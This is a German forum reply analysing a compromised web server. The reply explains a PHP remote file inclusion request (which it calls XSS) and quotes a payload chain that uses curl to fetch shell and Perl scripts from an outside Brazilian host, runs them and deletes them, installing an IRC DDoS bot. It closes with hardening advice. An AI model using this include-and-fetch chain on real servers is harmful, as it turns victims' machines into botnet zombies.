Glückwunsch, das sieht nach einer schönen XSS Attacke aus. Lass den Server neu aufsetzen, aber sicher vorher noch deine Logfiles und andere Daten. Die was du jetzt schonmal gefunden hast hat doch eine IP oder? Ich glaub zwar das es ein Brasilianer ist und das alles eh kein Sinn hat, aber sowas meldet man am besten mal wieder an
Cert
Zu dem Aufruf:
%20 sind leerzeichen und Befehle mit ; getrennt:
Code: Select all
/index.php?seite=http://www.julianosouda.oi.com.br/newcmd.txt?&cmd=
Hier ruft der eine newcmd.txt auf, das eine Mischung aus HTML, PHP und C
ist und anscheinend einen Rootkit installiert durch deinen PHP Parser.
Was sagt dir ein Nmap Scan von ausserhalb?
Aso, hast du etwa mal wieder f_url_open aktiviert in der php.ini?
#-----------------------------------------------------------------------------
cd /tmp;
Wechselt nach /tmp . Schonmal dran gedacht ein extre Session Directory
im Vhost einzutragen? Wäre das auf jeden Fall nicht gegangen.
#-----------------------------------------------------------------------------
curl http://www.julianosouda.oi.com.br/aff.sh -O /tmp/aff.sh;
Holt mit dem Programm curl ganz cool das Script aff.sh von einen
Brasilianischen Server. Näheres später.
#-----------------------------------------------------------------------------
Kurze Pause damit das Script laden kann, der Server ist relativ lahm, schlechter Ping.
sleep 3s;
#-----------------------------------------------------------------------------
Führt es mit einer Shell aus
sh /tmp/aff.sh;
#-----------------------------------------------------------------------------
Löscht es wieder
rm -fr aff.sh
#-----------------------------------------------------------------------------
Ok, schön gelöst mit einen Bot der ganze Bereich abklappert wie´s aussieht. Ok, weiter zum Script:
Code: Select all
#!/bin/sh
killall -9 perl;
cd /tmp;
curl http://www.julianosouda.oi.com.br/bot.c -O /tmp/bot.c;
perl bot.c;
rm -rf bot*;
rm -rf *.sh;
Ich sollte nicht erwähnen das jetzt in /tmp ein DDoS Bot schlummert der sich in ein IRC Netzwerk einhängt. Du kannst ja die
bot.c einmal ankucken und dann mal in das Netzwerk reinkucken. Sieht mir irgendwie nach Portugisisch aus, weiß einer mehr?
Also, dein Rechner WAR ein DDoS Zombie und du solltest dir jetzt Gedanken machen wie du das in Zukkunft unterbinden kannst. Ich hoffe ich muss dir jetzt nicht auch noch den Rest sagen was das Perl Script macht oder?
Jetzt hast du erstmal lehrgeld kassiert und solltest jetzt mal iptables, IDS (Snort oder Prelude) und PHP Sicherheit ansehen. Vor allem mal hier im Forum den Thread suchen wo Links sind zu solchen Themen, sonst wirst du bald wieder Opfer und Täter für ein Sambatänzer.
Edit: hab gerade mal in den Channel gekuckt, da sind ca. 23 Bots drin, also kein Einzelfall.
MFG
Lord Pinhead